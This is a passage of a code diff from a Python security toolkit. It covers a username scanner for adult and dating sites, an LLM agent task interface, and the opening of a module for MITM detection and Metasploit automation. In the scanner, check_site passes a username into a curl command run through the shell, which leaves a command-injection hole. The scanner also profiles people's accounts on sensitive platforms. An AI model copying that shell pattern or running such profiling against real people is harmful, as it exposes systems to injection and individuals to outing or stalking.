+ def bulk_import(self): + """Bulk import sites from custom_sites.inf file.""" + print(f"\n{Colors.BOLD}Bulk Import Sites{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + print() + + # Check if file exists, create template if not + if not BULK_IMPORT_FILE.exists(): + print(f"{Colors.YELLOW}Bulk import file not found.{Colors.RESET}") + print(f"{Colors.DIM}Creating template at: {BULK_IMPORT_FILE}{Colors.RESET}") + print() + + create = input(f"{Colors.WHITE}Create template file? (y/n): {Colors.RESET}").strip().lower() + if create == 'y': + template = """# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments +# +# Example: +# example.com +# another-site.net +# subdomain.site.org +# +# After adding domains, run Bulk Import [B] again +# and provide a test username that exists on these sites. + +""" + with open(BULK_IMPORT_FILE, 'w') as f: + f.write(template) + self.print_status(f"Created {BULK_IMPORT_FILE}", "success") + print(f"{Colors.DIM}Edit this file and add domains, then run Bulk Import again.{Colors.RESET}") + return + + # Read domains from file + domains = [] + with open(BULK_IMPORT_FILE, 'r') as f: + for line in f: + line = line.strip() + # Skip empty lines and comments + if line and not line.startswith('#'): + # Clean up domain + domain = line.replace('https://', '').replace('http://', '').rstrip('/') + if domain: + domains.append(domain) + + if not domains: + print(f"{Colors.YELLOW}No domains found in {BULK_IMPORT_FILE.name}{Colors.RESET}") + print(f"{Colors.DIM}Add domains (one per line) and try again.{Colors.RESET}") + return + + print(f"{Colors.CYAN}Found {len(domains)} domain(s) in {BULK_IMPORT_FILE.name}:{Colors.RESET}") + for d in domains[:10]: + print(f" {Colors.DIM}-{Colors.RESET} {d}") + if len(domains) > 10: + print(f" {Colors.DIM}... and {len(domains) - 10} more{Colors.RESET}") + print() + + # Check which domains are already added + existing_domains = set() + for name, url, method in self.sites.get('custom', []): + # Extract domain from URL template + try: + from urllib.parse import urlparse + parsed = urlparse(url.replace('{}', 'test')) + existing_domains.add(parsed.netloc.lower()) + except: + pass + + new_domains = [d for d in domains if d.lower() not in existing_domains] + skipped = len(domains) - len(new_domains) + + if skipped > 0: + print(f"{Colors.YELLOW}Skipping {skipped} already-added domain(s){Colors.RESET}") + + if not new_domains: + print(f"{Colors.GREEN}All domains already added!{Colors.RESET}") + return + + print(f"{Colors.CYAN}Will scan {len(new_domains)} new domain(s){Colors.RESET}") + print() + + # Get test username + print(f"{Colors.CYAN}We need a test username to probe URL patterns.{Colors.RESET}") + print(f"{Colors.DIM}Use a common username that likely exists on most sites.{Colors.RESET}") + print(f"{Colors.DIM}Example: admin, test, user, john, etc.{Colors.RESET}") + print() + test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip() + if not test_user: + self.print_status("Cancelled - no test username provided", "warning") + return + + print(f"\n{Colors.CYAN}Scanning {len(new_domains)} domains...{Colors.RESET}\n") + + # Scan each domain + added = 0 + failed = [] + + for i, domain in enumerate(new_domains): + print(f"{Colors.DIM}[{i+1}/{len(new_domains)}] Scanning {domain}...{Colors.RESET}") + + # Use quiet mode to get first working pattern + patterns = self.probe_domain(domain, test_user, quiet=True) + + if patterns: + pattern, status, url = patterns[0] + url_template = f"https://{domain}{pattern}" + name = domain.split('.')[0].title() + method = 'status' if status == '200' else 'content' + + # Add to custom sites + new_site = (name, url_template, method) + self.sites['custom'].append(new_site) + added += 1 + print(f" {Colors.GREEN}[+]{Colors.RESET} Added {name}: {pattern}") + else: + failed.append(domain) + print(f" {Colors.RED}[X]{Colors.RESET} No pattern found") + + # Save results + if added > 0: + if self.save_custom_sites(): + print(f"\n{Colors.GREEN}Successfully added {added} site(s){Colors.RESET}") + else: + print(f"\n{Colors.RED}Failed to save custom sites{Colors.RESET}") + + if failed: + print(f"\n{Colors.YELLOW}Failed to detect patterns for {len(failed)} domain(s):{Colors.RESET}") + for d in failed[:5]: + print(f" {Colors.DIM}-{Colors.RESET} {d}") + if len(failed) > 5: + print(f" {Colors.DIM}... and {len(failed) - 5} more{Colors.RESET}") + print(f"{Colors.DIM}Try adding these manually with [A] or [D]{Colors.RESET}") + + # Offer to clear the import file + print() + clear_file = input(f"{Colors.WHITE}Clear import file? (y/n): {Colors.RESET}").strip().lower() + if clear_file == 'y': + # Keep the header comments + header = """# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments + +""" + with open(BULK_IMPORT_FILE, 'w') as f: + f.write(header) + self.print_status("Import file cleared", "success") + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 10) -> tuple: + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip(), result.stderr.strip() + except subprocess.TimeoutExpired: + return False, "", "timeout" + except Exception as e: + return False, "", str(e) + + def check_site(self, site_info: tuple, username: str) -> dict: + """Check if username exists on a site.""" + name, url_template, method = site_info + + # Handle special URL formats + if '{}' in url_template: + url = url_template.format(username) + else: + url = url_template + username + + result = { + 'site': name, + 'url': url, + 'found': False, + 'status': 'unknown' + } + + # Use curl to check + cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time {self.timeout} '{url}' 2>/dev/null" + success, output, _ = self.run_cmd(cmd, self.timeout + 2) + + if success: + status_code = output.strip() + if method == 'status': + # Check HTTP status code + if status_code == '200': + result['found'] = True + result['status'] = 'found' + elif status_code in ['301', '302']: + result['found'] = True + result['status'] = 'redirect' + elif status_code == '404': + result['status'] = 'not_found' + else: + result['status'] = f'http_{status_code}' + else: + # For content-based checks, we need to fetch the page + if status_code == '200': + # Could do content analysis here + result['found'] = True + result['status'] = 'possible' + elif status_code == '404': + result['status'] = 'not_found' + else: + result['status'] = f'http_{status_code}' + else: + result['status'] = 'error' + + return result + + def scan_username(self, username: str, categories: list = None): + """Scan username across selected site categories.""" + if categories is None: + categories = list(self.sites.keys()) + + # Collect all sites to scan + sites_to_scan = [] + for cat in categories: + if cat in self.sites: + sites_to_scan.extend(self.sites[cat]) + + print(f"\n{Colors.CYAN}Scanning {len(sites_to_scan)} sites for username: {username}{Colors.RESET}") + print(f"{Colors.DIM}This may take a few minutes...{Colors.RESET}\n") + + self.results = [] + found_count = 0 + + # Use thread pool for parallel scanning + with ThreadPoolExecutor(max_workers=self.max_threads) as executor: + futures = {executor.submit(self.check_site, site, username): site for site in sites_to_scan} + + for i, future in enumerate(as_completed(futures)): + result = future.result() + self.results.append(result) + + # Display progress + if result['found']: + found_count += 1 + status_color = Colors.GREEN if result['status'] == 'found' else Colors.YELLOW + print(f" {status_color}[+]{Colors.RESET} {result['site']:25} {result['url']}") + else: + # Show progress indicator + print(f"\r{Colors.DIM} Checked {i+1}/{len(sites_to_scan)} sites, found {found_count}...{Colors.RESET}", end="") + + print(f"\r{' ' * 60}\r", end="") # Clear progress line + return self.results + + def display_results(self): + """Display scan results.""" + found = [r for r in self.results if r['found']] + not_found = [r for r in self.results if not r['found']] + + print(f"\n{Colors.BOLD}{'─' * 60}{Colors.RESET}") + print(f"{Colors.BOLD}Scan Results{Colors.RESET}") + print(f"{Colors.BOLD}{'─' * 60}{Colors.RESET}\n") + + if found: + print(f"{Colors.GREEN}Found ({len(found)} sites):{Colors.RESET}\n") + for r in found: + status_note = f" ({r['status']})" if r['status'] not in ['found'] else "" + print(f" {Colors.GREEN}+{Colors.RESET} {r['site']:25} {r['url']}{Colors.DIM}{status_note}{Colors.RESET}") + else: + print(f"{Colors.YELLOW}No profiles found.{Colors.RESET}") + + print(f"\n{Colors.DIM}Total sites checked: {len(self.results)}{Colors.RESET}") + print(f"{Colors.DIM}Profiles found: {len(found)}{Colors.RESET}") + + def export_results(self, filename: str): + """Export results to file.""" + found = [r for r in self.results if r['found']] + + with open(filename, 'w') as f: + f.write(f"Username OSINT Results\n") + f.write(f"{'=' * 50}\n\n") + f.write(f"Found Profiles ({len(found)}):\n\n") + for r in found: + f.write(f"{r['site']}: {r['url']}\n") + + self.print_status(f"Results exported to {filename}", "success") + + def show_menu(self): + """Display main menu.""" + clear_screen() + display_banner() + + print(f"{Colors.GREEN}{Colors.BOLD} Adult Site Scanner{Colors.RESET}") + print(f"{Colors.DIM} Username OSINT for adult platforms{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show category counts + total = sum(len(sites) for sites in self.sites.values()) + custom_count = len(self.sites.get('custom', [])) + print(f"{Colors.DIM} Sites in database: {total} ({custom_count} custom){Colors.RESET}") + print() + + print(f" {Colors.CYAN}Scan Categories:{Colors.RESET}") + print(f" {Colors.GREEN}[1]{Colors.RESET} Full Scan (all categories)") + print(f" {Colors.GREEN}[2]{Colors.RESET} Fanfiction & Story Sites") + print(f" {Colors.GREEN}[3]{Colors.RESET} Art & Creative Sites") + print(f" {Colors.GREEN}[4]{Colors.RESET} Video & Streaming Sites") + print(f" {Colors.GREEN}[5]{Colors.RESET} Forums & Communities") + print(f" {Colors.GREEN}[6]{Colors.RESET} Dating & Social Sites") + print(f" {Colors.GREEN}[7]{Colors.RESET} Gaming Related Sites") + print(f" {Colors.GREEN}[8]{Colors.RESET} Custom Sites Only") + print(f" {Colors.GREEN}[9]{Colors.RESET} Custom Category Selection") + print() + print(f" {Colors.CYAN}Site Management:{Colors.RESET}") + print(f" {Colors.GREEN}[A]{Colors.RESET} Add Custom Site (manual)") + print(f" {Colors.GREEN}[D]{Colors.RESET} Auto-Detect Site Pattern") + print(f" {Colors.GREEN}[B]{Colors.RESET} Bulk Import from File") + print(f" {Colors.GREEN}[M]{Colors.RESET} Manage Custom Sites") + print(f" {Colors.GREEN}[L]{Colors.RESET} List All Sites") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def select_categories(self) -> list: + """Let user select multiple categories.""" + print(f"\n{Colors.BOLD}Select Categories (comma-separated):{Colors.RESET}") + print() + + cat_list = list(self.sites.keys()) + for i, cat in enumerate(cat_list, 1): + count = len(self.sites[cat]) + print(f" [{i}] {cat.title():20} ({count} sites)") + + print() + selection = input(f"{Colors.WHITE}Enter numbers (e.g., 1,2,3): {Colors.RESET}").strip() + + selected = [] + try: + for num in selection.split(','): + idx = int(num.strip()) - 1 + if 0 <= idx < len(cat_list): + selected.append(cat_list[idx]) + except: + pass + + return selected if selected else None + + def list_sites(self): + """List all sites in database.""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}Site Database{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + for category, sites in self.sites.items(): + if not sites: + continue + color = Colors.YELLOW if category == 'custom' else Colors.GREEN + print(f"{color}{category.upper()} ({len(sites)} sites){Colors.RESET}") + for name, url, method in sites: + if category == 'custom': + display_url = url.replace('{}', '*') + print(f" {Colors.DIM}-{Colors.RESET} {name} {Colors.DIM}({display_url}){Colors.RESET}") + else: + print(f" {Colors.DIM}-{Colors.RESET} {name}") + print() + + input(f"{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run_scan(self, categories: list = None): + """Run a scan with given categories.""" + username = input(f"\n{Colors.WHITE}Enter username to search: {Colors.RESET}").strip() + if not username: + return + + self.scan_username(username, categories) + self.display_results() + + # Export option + export = input(f"\n{Colors.WHITE}Export results to file? (y/n): {Colors.RESET}").strip().lower() + if export == 'y': + filename = f"{username}_adultscan.txt" + self.export_results(filename) + + def run(self): + """Main loop.""" + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "0": + break + elif choice == "1": + self.run_scan() # All categories + elif choice == "2": + self.run_scan(['fanfiction']) + elif choice == "3": + self.run_scan(['art']) + elif choice == "4": + self.run_scan(['video']) + elif choice == "5": + self.run_scan(['forums']) + elif choice == "6": + self.run_scan(['dating']) + elif choice == "7": + self.run_scan(['gaming']) + elif choice == "8": + if self.sites.get('custom'): + self.run_scan(['custom']) + else: + self.print_status("No custom sites added yet. Use [A] to add sites.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "9": + cats = self.select_categories() + if cats: + self.run_scan(cats) + elif choice == "A": + self.add_custom_site() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "D": + self.auto_detect_site() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "B": + self.bulk_import() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + continue + elif choice == "M": + self.manage_custom_sites() + continue + elif choice == "L": + self.list_sites() + continue + + if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + AdultScanner().run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent.py new file mode 100644 index 0000000..00f60c3 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent.py @@ -0,0 +1,181 @@ +""" +AUTARCH Agent Module +Interactive interface for running autonomous agent tasks + +This module provides an interface to give tasks to the autonomous agent +and watch it work through them step by step. +""" + +import sys +from pathlib import Path + +# Module metadata +DESCRIPTION = "Autonomous agent for task execution" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "core" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.agent import Agent, AgentState, AgentStep, AgentResult +from core.tools import get_tool_registry +from core.llm import get_llm, LLMError +from core.banner import Colors, clear_screen, display_banner + + +class AgentInterface: + """Interactive interface for the AUTARCH agent.""" + + def __init__(self): + self.agent = None + self.llm = get_llm() + self.tools = get_tool_registry() + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def print_header(self, text: str): + """Print a section header.""" + print(f"\n{Colors.BOLD}{Colors.WHITE}{text}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + def show_tools(self): + """Display available tools.""" + self.print_header("Available Tools") + + tools = self.tools.list_tools() + for tool in tools: + print(f"\n {Colors.CYAN}{tool.name}{Colors.RESET} [{tool.category}]") + print(f" {Colors.DIM}{tool.description}{Colors.RESET}") + if tool.parameters: + for param in tool.parameters: + req = "*" if param.required else "" + print(f" - {param.name}{req}: {param.description}") + + def on_step_callback(self, step: AgentStep): + """Callback for when agent completes a step.""" + print(f"\n{Colors.DIM}{'─' * 40}{Colors.RESET}") + + def on_state_callback(self, state: AgentState): + """Callback for agent state changes.""" + state_colors = { + AgentState.IDLE: Colors.WHITE, + AgentState.THINKING: Colors.MAGENTA, + AgentState.EXECUTING: Colors.BLUE, + AgentState.WAITING_USER: Colors.YELLOW, + AgentState.COMPLETE: Colors.GREEN, + AgentState.ERROR: Colors.RED, + } + color = state_colors.get(state, Colors.WHITE) + # Only show state for key transitions + if state in [AgentState.COMPLETE, AgentState.ERROR]: + print(f"{color}[State: {state.value}]{Colors.RESET}") + + def run_task(self, task: str) -> AgentResult: + """Run a task through the agent. + + Args: + task: Task description. + + Returns: + AgentResult with execution details. + """ + self.agent = Agent( + llm=self.llm, + tools=self.tools, + max_steps=20, + verbose=True + ) + + self.agent.on_step = self.on_step_callback + self.agent.on_state_change = self.on_state_callback + + return self.agent.run(task) + + def interactive_loop(self): + """Run interactive task input loop.""" + self.print_header("Agent Interface") + print(f"\n{Colors.WHITE}Enter a task for the agent to complete.") + print(f"Type 'tools' to see available tools.") + print(f"Type 'exit' to return to main menu.{Colors.RESET}\n") + + while True: + try: + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + task = input(f"\n{Colors.GREEN}Task:{Colors.RESET} ").strip() + + if not task: + continue + + if task.lower() == 'exit': + break + + if task.lower() == 'tools': + self.show_tools() + continue + + if task.lower() == 'help': + print(f"\n{Colors.WHITE}Commands:{Colors.RESET}") + print(f" {Colors.CYAN}tools{Colors.RESET} - Show available tools") + print(f" {Colors.CYAN}exit{Colors.RESET} - Return to main menu") + print(f" {Colors.CYAN}help{Colors.RESET} - Show this help") + print(f"\n{Colors.WHITE}Or enter a task description for the agent.{Colors.RESET}") + continue + + # Run the task + print(f"\n{Colors.CYAN}[*] Starting agent...{Colors.RESET}\n") + + result = self.run_task(task) + + # Show result summary + print(f"\n{Colors.DIM}{'═' * 50}{Colors.RESET}") + if result.success: + print(f"{Colors.GREEN}[+] Task completed successfully{Colors.RESET}") + print(f"\n{Colors.WHITE}Summary:{Colors.RESET} {result.summary}") + else: + print(f"{Colors.RED}[X] Task failed{Colors.RESET}") + if result.error: + print(f"{Colors.RED}Error:{Colors.RESET} {result.error}") + if result.summary: + print(f"{Colors.WHITE}Summary:{Colors.RESET} {result.summary}") + + print(f"\n{Colors.DIM}Steps taken: {len(result.steps)}{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + print(f"\n\n{Colors.YELLOW}[!] Interrupted{Colors.RESET}") + break + + def run(self): + """Module entry point.""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH Autonomous Agent{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Check if model is loaded + if not self.llm.is_loaded: + self.print_status("Loading model...", "info") + try: + self.llm.load_model(verbose=True) + except LLMError as e: + self.print_status(f"Failed to load model: {e}", "error") + self.print_status("Please run setup to configure a model.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.interactive_loop() + + +def run(): + """Module entry point.""" + interface = AgentInterface() + interface.run() + + +if __name__ == "__main__": + run() diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent_hal.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent_hal.py new file mode 100644 index 0000000..1953f9c --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/agent_hal.py @@ -0,0 +1,1453 @@ +""" +AUTARCH Agent Hal Module +AI-powered security automation for defense and penetration testing + +Uses LLM integration for intelligent security operations including: +- MITM attack detection and monitoring +- Automated Metasploit module execution via natural language +- Network security analysis +""" + +import os +import sys +import subprocess +import re +import json +import time +from pathlib import Path +from datetime import datetime +from typing import Dict, List, Optional, Tuple + +# Module metadata +NAME = "Agent Hal" +DESCRIPTION = "AI-powered security automation" +AUTHOR = "darkHal Security Group" +VERSION = "2.0" +CATEGORY = "core" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner +from core.config import get_config +from core.llm import LLM, LLMError +from core.pentest_tree import PentestTree, NodeStatus, PTTNodeType +from core.pentest_pipeline import PentestPipeline, detect_source_type +from core.pentest_session import PentestSession, PentestSessionState + + +class AgentHal: + """AI-powered security automation agent.""" + + def __init__(self): + self.config = get_config() + self.llm = None + self.msf = None + self.msf_connected = False + self.pentest_session = None + self.pentest_pipeline = None + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def run_cmd(self, cmd: str, timeout: int = 30) -> Tuple[bool, str]: + """Run a shell command and return output.""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except subprocess.TimeoutExpired: + return False, "Command timed out" + except Exception as e: + return False, str(e) + + def _ensure_llm_loaded(self) -> bool: + """Ensure LLM is loaded and ready.""" + if self.llm is None: + self.llm = LLM() + + if not self.llm.is_loaded: + self.print_status("Loading LLM model...", "info") + try: + self.llm.load_model(verbose=True) + return True + except LLMError as e: + self.print_status(f"Failed to load LLM: {e}", "error") + return False + return True + + def _ensure_msf_connected(self) -> bool: + """Ensure MSF RPC is connected via the centralized interface.""" + if self.msf is None: + try: + from core.msf_interface import get_msf_interface + self.msf = get_msf_interface() + except ImportError: + self.print_status("MSF interface not available", "error") + return False + + # Use the interface's connection management + connected, msg = self.msf.ensure_connected(auto_prompt=False) + if connected: + self.msf_connected = True + self.print_status("Connected to MSF RPC", "success") + return True + else: + self.print_status(f"Failed to connect to MSF: {msg}", "error") + return False + + # ==================== MITM DETECTION ==================== + + def mitm_detection_menu(self): + """MITM attack detection submenu.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} MITM Detection{Colors.RESET}") + print(f"{Colors.DIM} Detect Man-in-the-Middle attacks on your network{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Full MITM Scan (All Checks)") + print(f" {Colors.GREEN}[2]{Colors.RESET} ARP Spoofing Detection") + print(f" {Colors.GREEN}[3]{Colors.RESET} DNS Spoofing Detection") + print(f" {Colors.GREEN}[4]{Colors.RESET} SSL/TLS Stripping Detection") + print(f" {Colors.GREEN}[5]{Colors.RESET} Rogue DHCP Detection") + print(f" {Colors.GREEN}[6]{Colors.RESET} Gateway Anomaly Check") + print() + print(f" {Colors.CYAN}[7]{Colors.RESET} Continuous Monitoring Mode") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.full_mitm_scan() + elif choice == "2": + self.detect_arp_spoofing() + elif choice == "3": + self.detect_dns_spoofing() + elif choice == "4": + self.detect_ssl_stripping() + elif choice == "5": + self.detect_rogue_dhcp() + elif choice == "6": + self.check_gateway_anomaly() + elif choice == "7": + self.continuous_monitoring() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def full_mitm_scan(self): + """Run all MITM detection checks.""" + print(f"\n{Colors.BOLD}Full MITM Scan{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + issues = [] + + # ARP Spoofing + print(f"{Colors.CYAN}[1/5] Checking for ARP spoofing...{Colors.RESET}") + arp_issues = self._check_arp_spoofing() + issues.extend(arp_issues) + + # DNS Spoofing + print(f"{Colors.CYAN}[2/5] Checking for DNS spoofing...{Colors.RESET}") + dns_issues = self._check_dns_spoofing() + issues.extend(dns_issues) + + # SSL Stripping + print(f"{Colors.CYAN}[3/5] Checking for SSL stripping indicators...{Colors.RESET}") + ssl_issues = self._check_ssl_stripping() + issues.extend(ssl_issues) + + # Rogue DHCP + print(f"{Colors.CYAN}[4/5] Checking for rogue DHCP servers...{Colors.RESET}") + dhcp_issues = self._check_rogue_dhcp() + issues.extend(dhcp_issues) + + # Gateway Anomaly + print(f"{Colors.CYAN}[5/5] Checking gateway for anomalies...{Colors.RESET}") + gw_issues = self._check_gateway() + issues.extend(gw_issues) + + # Results + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Scan Results{Colors.RESET}\n") + + if issues: + print(f"{Colors.RED}[!] Found {len(issues)} potential issue(s):{Colors.RESET}\n") + for issue in issues: + severity_color = Colors.RED if issue['severity'] == 'HIGH' else Colors.YELLOW + print(f" {severity_color}[{issue['severity']}]{Colors.RESET} {issue['type']}") + print(f" {issue['description']}") + if issue.get('details'): + print(f" {Colors.DIM}{issue['details']}{Colors.RESET}") + print() + else: + print(f"{Colors.GREEN}[+] No MITM indicators detected{Colors.RESET}") + print(f"{Colors.DIM} Network appears clean{Colors.RESET}") + + def _check_arp_spoofing(self) -> List[Dict]: + """Check for ARP spoofing indicators.""" + issues = [] + + # Get ARP table + success, output = self.run_cmd("arp -a") + if not success: + success, output = self.run_cmd("ip neigh show") + + if success and output: + # Parse ARP entries + mac_to_ips = {} + lines = output.split('\n') + + for line in lines: + # Extract MAC and IP + mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line) + ip_match = re.search(r'(\d{1,3}\.){3}\d{1,3}', line) + + if mac_match and ip_match: + mac = mac_match.group().lower() + ip = ip_match.group() + + if mac not in mac_to_ips: + mac_to_ips[mac] = [] + mac_to_ips[mac].append(ip) + + # Check for duplicate MACs (potential ARP spoofing) + for mac, ips in mac_to_ips.items(): + if len(ips) > 1: + issues.append({ + 'type': 'ARP Spoofing Detected', + 'severity': 'HIGH', + 'description': f'Multiple IPs share same MAC address', + 'details': f'MAC {mac} -> IPs: {", ".join(ips)}' + }) + + return issues + + def detect_arp_spoofing(self): + """Detailed ARP spoofing detection.""" + print(f"\n{Colors.BOLD}ARP Spoofing Detection{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Get ARP table + print(f"{Colors.CYAN}[*] Fetching ARP table...{Colors.RESET}") + success, output = self.run_cmd("arp -a") + if not success: + success, output = self.run_cmd("ip neigh show") + + if success and output: + print(f"\n{Colors.CYAN}Current ARP Table:{Colors.RESET}") + print(output) + + issues = self._check_arp_spoofing() + + if issues: + print(f"\n{Colors.RED}[!] ARP Spoofing Indicators Found:{Colors.RESET}") + for issue in issues: + print(f" {issue['description']}") + print(f" {Colors.DIM}{issue['details']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] No ARP spoofing detected{Colors.RESET}") + + # Get gateway MAC + print(f"\n{Colors.CYAN}[*] Checking gateway MAC...{Colors.RESET}") + success, gw = self.run_cmd("ip route | grep default | awk '{print $3}'") + if success and gw: + print(f" Gateway IP: {gw}") + success, gw_mac = self.run_cmd(f"arp -n {gw} | grep -v Address | awk '{{print $3}}'") + if success and gw_mac: + print(f" Gateway MAC: {gw_mac}") + + def _check_dns_spoofing(self) -> List[Dict]: + """Check for DNS spoofing indicators.""" + issues = [] + + # Check resolv.conf for suspicious DNS + success, output = self.run_cmd("cat /etc/resolv.conf") + if success: + dns_servers = re.findall(r'nameserver\s+(\S+)', output) + + # Known safe DNS servers + safe_dns = ['8.8.8.8', '8.8.4.4', '1.1.1.1', '1.0.0.1', '9.9.9.9', '208.67.222.222'] + + for dns in dns_servers: + if dns.startswith('127.') or dns.startswith('192.168.') or dns.startswith('10.'): + # Local DNS - could be legitimate or malicious + pass + elif dns not in safe_dns: + issues.append({ + 'type': 'Suspicious DNS Server', + 'severity': 'MEDIUM', + 'description': f'Unknown DNS server configured', + 'details': f'DNS: {dns}' + }) + + # Test DNS resolution consistency + test_domains = ['google.com', 'cloudflare.com'] + for domain in test_domains: + success1, ip1 = self.run_cmd(f"dig +short {domain} @8.8.8.8 | head -1") + success2, ip2 = self.run_cmd(f"dig +short {domain} | head -1") + + if success1 and success2 and ip1 and ip2: + if ip1 != ip2: + issues.append({ + 'type': 'DNS Resolution Mismatch', + 'severity': 'HIGH', + 'description': f'DNS returns different IP than Google DNS', + 'details': f'{domain}: Local={ip2}, Google={ip1}' + }) + + return issues + + def detect_dns_spoofing(self): + """Detailed DNS spoofing detection.""" + print(f"\n{Colors.BOLD}DNS Spoofing Detection{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Show current DNS config + print(f"{Colors.CYAN}[*] Current DNS Configuration:{Colors.RESET}") + success, output = self.run_cmd("cat /etc/resolv.conf | grep -v '^#'") + if success: + print(output) + + # Test DNS resolution + print(f"\n{Colors.CYAN}[*] Testing DNS Resolution Consistency:{Colors.RESET}") + test_domains = ['google.com', 'cloudflare.com', 'microsoft.com'] + + for domain in test_domains: + success1, ip1 = self.run_cmd(f"dig +short {domain} @8.8.8.8 | head -1") + success2, ip2 = self.run_cmd(f"dig +short {domain} | head -1") + + if success1 and success2: + match = "MATCH" if ip1 == ip2 else "MISMATCH" + color = Colors.GREEN if ip1 == ip2 else Colors.RED + print(f" {domain}:") + print(f" Local DNS: {ip2}") + print(f" Google DNS: {ip1}") + print(f" Status: {color}{match}{Colors.RESET}") + + issues = self._check_dns_spoofing() + if issues: + print(f"\n{Colors.RED}[!] DNS Issues Found:{Colors.RESET}") + for issue in issues: + print(f" {issue['description']}: {issue['details']}") + + def _check_ssl_stripping(self) -> List[Dict]: + """Check for SSL stripping indicators.""" + issues = [] + + # Check if HSTS is being honored + test_sites = ['https://www.google.com', 'https://www.cloudflare.com'] + + for site in test_sites: + success, output = self.run_cmd(f"curl -sI -m 5 {site} | head -1") + if success: + if 'HTTP/1.1 200' not in output and 'HTTP/2' not in output: + issues.append({ + 'type': 'HTTPS Connection Issue', + 'severity': 'MEDIUM', + 'description': f'Unexpected response from HTTPS site', + 'details': f'{site}: {output}' + }) + + # Check for SSL certificate issues + success, output = self.run_cmd("curl -sI -m 5 https://www.google.com 2>&1 | grep -i 'certificate'") + if success and 'certificate' in output.lower(): + issues.append({ + 'type': 'SSL Certificate Warning', + 'severity': 'HIGH', + 'description': 'SSL certificate issues detected', + 'details': output + }) + + return issues + + def detect_ssl_stripping(self): + """Detailed SSL stripping detection.""" + print(f"\n{Colors.BOLD}SSL/TLS Stripping Detection{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + test_sites = [ + ('https://www.google.com', 'Google'), + ('https://www.cloudflare.com', 'Cloudflare'), + ('https://www.github.com', 